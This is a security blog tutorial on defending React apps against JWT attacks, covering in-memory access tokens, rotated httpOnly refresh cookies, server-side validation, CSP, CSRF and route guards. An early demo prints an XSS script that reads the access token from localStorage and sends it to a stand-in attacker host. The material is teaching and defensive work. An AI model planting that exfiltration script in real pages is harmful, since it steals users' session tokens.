JWT Attacks in React.js — what you’re really defending against
JWTs (JSON Web Tokens) are compact, signed tokens used to authenticate React SPAs with APIs. They’re convenient—but if implemented carelessly, JWT Vulnerability in React.js can lead to account takeover, session fixation, and replay. This post focuses on practical, minimal changes that close common gaps without rewriting your stack.
Why this guide? This hands-on tutorial shows how JWT Attacks in React.js happen and how to stop them with production-ready patterns: safer storage, refresh-token rotation, strict cookie settings, server-side validation, route guards, CSP, and more. It also includes multiple coding examples to make your security fixes fast to adopt.
Threat model: the most common JWT Attacks in React.js
- Token theft via XSS
Malicious scripts readlocalStorage
/sessionStorage
and exfiltrate youraccess_token
. - Replay attacks
An attacker reuses a valid token if there’s no rotation, binding, or revocation. - Weak token validation
Missingaud
,iss
,exp
, clock skew checks, or unverified signatures. - Leaky refresh tokens
Long-lived refresh tokens exposed in JavaScript-accessible storage or sent over insecure channels. - CSRF with cookies
If you move JWTs to cookies (good!), cross-site requests can still abuse them unless you add CSRF countermeasures.
Each of these aligns with real-world JWT Attacks in React.js that we’ll mitigate below.
Attack demo: how XSS steals tokens (and how to spot it)
If your React app stores tokens in localStorage
, any XSS lets attackers read them:
<!-- Malicious payload injected through a vulnerable input or third-party widget -->
<script>
// DO NOT COPY TO PRODUCTION – this is an attacker’s perspective
const token = localStorage.getItem('access_token');
if (token) {
// exfiltrate token
fetch('https://attacker.example/collect', {
method: 'POST',
mode: 'no-cors',
body: token
});
}
</script>
Defense insight: prefer httpOnly, Secure, SameSite cookies for refresh tokens; keep access tokens short-lived and in memory (not persistent JS storage). This alone blocks a large class of JWT Attacks in React.js.
Safer storage pattern for JWT in React: memory + httpOnly cookie
Goal: Store access token in memory (volatile) and refresh token in httpOnly cookie (not readable by JS). The client silently refreshes access tokens using the cookie.
React: token store in memory (Context + axios/fetch interceptor)
// src/auth/tokenStore.tsx
import React, { createContext, useContext, useRef } from 'react';
type TokenStore = {
getAccessToken: () => string | null;
setAccessToken: (t: string | null) => void;
};
const TokenContext = createContext<TokenStore | null>(null);
export const TokenProvider: React.FC<{ children: React.ReactNode }> = ({ children }) => {
const accessRef = useRef<string | null>(null);
const store: TokenStore = {
getAccessToken: () => accessRef.current,
setAccessToken: (t) => { accessRef.current = t; }
};
return <TokenContext.Provider value={store}>{children}</TokenContext.Provider>;
};
export const useTokenStore = () => {
const ctx = useContext(TokenContext);
if (!ctx) throw new Error('TokenProvider missing');
return ctx;
};
// src/auth/axios.ts
import axios from 'axios';
import { useTokenStore } from './tokenStore';
export const createHttp = (store: ReturnType<typeof useTokenStore>) => {
const http = axios.create({ baseURL: '/api', withCredentials: true }); // cookies allowed
http.interceptors.request.use((config) => {
const token = store.getAccessToken();
if (token) config.headers.Authorization = `Bearer ${token}`;
return config;
});
// Auto-refresh on 401
http.interceptors.response.use(
(r) => r,
async (error) => {
if (error.response?.status === 401) {
try {
// calls /auth/refresh, which reads refresh cookie (httpOnly)
const { data } = await axios.post('/api/auth/refresh', {}, { withCredentials: true });
store.setAccessToken(data.accessToken);
// retry the original request with new token
error.config.headers.Authorization = `Bearer ${data.accessToken}`;
return axios.request(error.config);
} catch {
store.setAccessToken(null);
// redirect to login etc.
}
}
throw error;
}
);
return http;
};
Node/Express: issue short-lived access token + cookie refresh
// server/auth.ts
import express from 'express';
import cookieParser from 'cookie-parser';
import { SignJWT, jwtVerify, generateKeyPair } from 'jose';
import crypto from 'crypto';
const router = express.Router();
router.use(cookieParser());
const ACCESS_TTL = 5 * 60; // 5 minutes
const REFRESH_TTL = 7 * 24 * 60 * 60; // 7 days
const ISSUER = 'https://api.example.com';
const AUD = 'react-spa';
let privateKey: CryptoKey; let publicKey: CryptoKey;
(async () => {
// In production load keys from KMS or env, don’t generate on boot
({ privateKey, publicKey } = await generateKeyPair('RS256'));
})();
const issueAccess = async (sub: string, jti = crypto.randomUUID()) =>
await new SignJWT({ sub, jti })
.setProtectedHeader({ alg: 'RS256' })
.setIssuedAt()
.setIssuer(ISSUER)
.setAudience(AUD)
.setExpirationTime(`${ACCESS_TTL}s`)
.sign(privateKey);
const issueRefresh = () => crypto.randomUUID(); // store server-side with status=valid
// Mock DB
const refreshDb = new Map<string, { sub: string; used: boolean }>();
router.post('/login', async (req, res) => {
// ...verify credentials...
const sub = 'user:123';
const refreshId = issueRefresh();
refreshDb.set(refreshId, { sub, used: false });
res.cookie('refresh_token', refreshId, {
httpOnly: true, secure: true, sameSite: 'Strict', path: '/api/auth/refresh', maxAge: REFRESH_TTL * 1000
});
const accessToken = await issueAccess(sub);
res.json({ accessToken });
});
router.post('/refresh', async (req, res) => {
const refreshId = req.cookies['refresh_token'];
const record = refreshDb.get(refreshId);
if (!record || record.used) return res.sendStatus(401);
// **Rotation**: invalidate old, issue new
record.used = true;
const newRefresh = issueRefresh();
refreshDb.set(newRefresh, { sub: record.sub, used: false });
res.cookie('refresh_token', newRefresh, {
httpOnly: true, secure: true, sameSite: 'Strict', path: '/api/auth/refresh', maxAge: REFRESH_TTL * 1000
});
const accessToken = await issueAccess(record.sub);
res.json({ accessToken });
});
router.post('/logout', (req, res) => {
const refreshId = req.cookies['refresh_token'];
if (refreshId) refreshDb.set(refreshId, { sub: '', used: true });
res.clearCookie('refresh_token', { path: '/api/auth/refresh' });
res.sendStatus(204);
});
export default router;
This pattern sharply reduces the blast radius of JWT Attacks because:
- The access token isn’t persisted in JS-readable storage (XSS can’t trivially steal it).
- The refresh token is httpOnly and rotated (replay is harder; theft invalidates prior token).
- Cookies are
Secure
+SameSite=Strict
.
Screenshot of our
Server-side verification that actually blocks JWT Attacks in React.js
Make sure your API rejects forged or expired tokens by validating signature, issuer, audience, time, and jti (if you track revocation):
// server/verify.ts
import { jwtVerify, createRemoteJWKSet } from 'jose';
const JWKS = createRemoteJWKSet(new URL('https://auth.example.com/.well-known/jwks.json'));
const ISSUER = 'https://api.example.com';
const AUD = 'react-spa';
export async function verifyAccessToken(bearer: string) {
const token = bearer.replace(/^Bearer\s+/i, '');
const { payload } = await jwtVerify(token, JWKS, {
issuer: ISSUER,
audience: AUD,
maxTokenAge: '6m', // clock skew protection
});
// Optionally check jti not revoked, etc.
return payload;
}
Tip: pin your JWKS host to HTTPS, handle key rotation, and block the none algorithm (libraries do this by default).
CSRF + cookies: complementary defenses (and a WordPress deep dive)
When you move JWTs into cookies to harden against JWT Attacks in React.js, also add CSRF protection for state-changing requests:
SameSite=Strict
(orLax
if you need cross-site logins).- Double-submit or synchronizer tokens.
- Custom header (e.g.,
X-CSRF-Token
) verified server-side.
If you’re dealing with WordPress endpoints as part of your stack, our CSRF primer walks through practical mitigations:
👉 CSRF Prevention in WordPress
Route guards in React to reduce exploit surface
Guard private routes so stolen tokens can’t unlock everything indefinitely:
// src/routes/PrivateRoute.tsx
import { Navigate, Outlet } from 'react-router-dom';
import { useTokenStore } from '../auth/tokenStore';
export default function PrivateRoute() {
const { getAccessToken } = useTokenStore();
const token = getAccessToken();
// Optionally decode & check exp
const isAuthed = !!token;
return isAuthed ? <Outlet /> : <Navigate to="/login" replace />;
}
// src/App.tsx
import { BrowserRouter, Routes, Route } from 'react-router-dom';
import PrivateRoute from './routes/PrivateRoute';
import Dashboard from './pages/Dashboard';
import Login from './pages/Login';
export default function App() {
return (
<BrowserRouter>
<Routes>
<Route element={<PrivateRoute />}>
<Route path="/dashboard" element={<Dashboard />} />
</Route>
<Route path="/login" element={<Login />} />
</Routes>
</BrowserRouter>
);
}
Proper route gating, plus short access-token TTLs and rotation, further contain JWT Attacks in React.js.
Content Security Policy (CSP) + sanitizer = fewer XSS footholds
Add a tight CSP and sanitize risky inputs to blunt the XSS vector behind many JWT Attacks in React.js:
<!-- index.html -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self' https://api.example.com;
object-src 'none';
base-uri 'self';
frame-ancestors 'none'">
And sanitize untrusted HTML:
// example using DOMPurify
import DOMPurify from 'dompurify';
export function safeHtml(dirty: string) {
return { __html: DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true } }) };
}
Bonus: binding tokens to client and stopping replays
Strengthen against replay-style JWT Attacks in React.js:
- Rotate refresh tokens (shown above).
- Consider DPoP or mutual TLS (if your ecosystem supports it).
- Track
jti
in a DB; revoke on logout or suspicious use. - Add IP/UA anomaly detection on refresh endpoint (with care for NAT/CDN variability).
Sample Assessment report from our free tool to check Website Vulnerability
Developer cookbook: secure login + refresh, end-to-end
Login flow (React)
// src/auth/login.ts
import axios from 'axios';
import { useTokenStore } from './tokenStore';
export async function login(store: ReturnType<typeof useTokenStore>, email: string, password: string) {
const { data } = await axios.post('/api/auth/login', { email, password }, { withCredentials: true });
store.setAccessToken(data.accessToken); // memory only
}
Attach bearer automatically (fetch version)
// src/auth/fetchClient.ts
import { useTokenStore } from './tokenStore';
export function createFetch(store: ReturnType<typeof useTokenStore>) {
return async (input: RequestInfo, init: RequestInit = {}) => {
const token = store.getAccessToken();
const headers = new Headers(init.headers || {});
if (token) headers.set('Authorization', `Bearer ${token}`);
const res = await fetch(input, { ...init, headers, credentials: 'include' });
if (res.status === 401) {
const refresh = await fetch('/api/auth/refresh', { method: 'POST', credentials: 'include' });
if (refresh.ok) {
const { accessToken } = await refresh.json();
store.setAccessToken(accessToken);
headers.set('Authorization', `Bearer ${accessToken}`);
return fetch(input, { ...init, headers, credentials: 'include' });
}
}
return res;
};
}
Server: strict cookie + CORS
// server/app.ts
import cors from 'cors';
import express from 'express';
import auth from './auth';
const app = express();
app.use(express.json());
app.use(cors({
origin: 'https://your-react-origin.example', // exact origin
credentials: true,
methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token']
}));
app.use('/api/auth', auth);
app.listen(3000);
These patterns collectively minimize JWT Attacks in React.js and reduce the chance that one compromise turns into persistent account takeover.
Quick checklist to prevent JWT Attacks
- Access token in memory; refresh token in httpOnly+Secure+SameSite cookie.
- Short access token TTL; rotate refresh tokens on each use.
- Validate signature, iss, aud, exp, nbf, jti on server.
- CSRF tokens + Strict SameSite on mutating routes.
- CSP + sanitizer; no unsafe third-party scripts.
- Route guards; revoke on logout; detect anomalies.
- Log and alert on suspicious refresh attempts.
This checklist directly addresses the core vectors behind JWT Attacks in React.js.
Related reads from Cybersrely (for continuous hardening)
- OAuth Misconfiguration in React.js
- Check for Subdomain Takeover in React.js
- Prevent NoSQL Injection in TypeScript
These posts complement our defense strategy against JWT Attacks by reducing adjacent risks.
Service pages (backlinks & where to get help)
Managed IT & Security Operations
Need help operationalizing these controls at scale? Explore Managed IT Services for monitoring, patching, and incident response.
AI Application Cybersecurity
Building LLM/AI features? Secure model integrations, secrets, and data flows with AI Application Cybersecurity—including token redaction and abuse prevention.
Offer Cybersecurity to Your Clients
Agencies and consultancies can white-label our audits and scanners. See Offer Cybersecurity Service to Your Client.
Talk to Us
Questions about JWT Attacks in React.js or need a quick review? Contact Us.
Final note
You don’t need to rebuild your auth. Adopt one improvement at a time—start with memory-only access tokens and cookie-based refresh rotation—then layer CSP, CSRF, and server-side validation. That stepwise approach will measurably reduce JWT Attacks in React.js while keeping your React team productive.
🔐 Frequently Asked Questions (FAQs)
Find answers to commonly asked questions about JWT Attacks in React.js.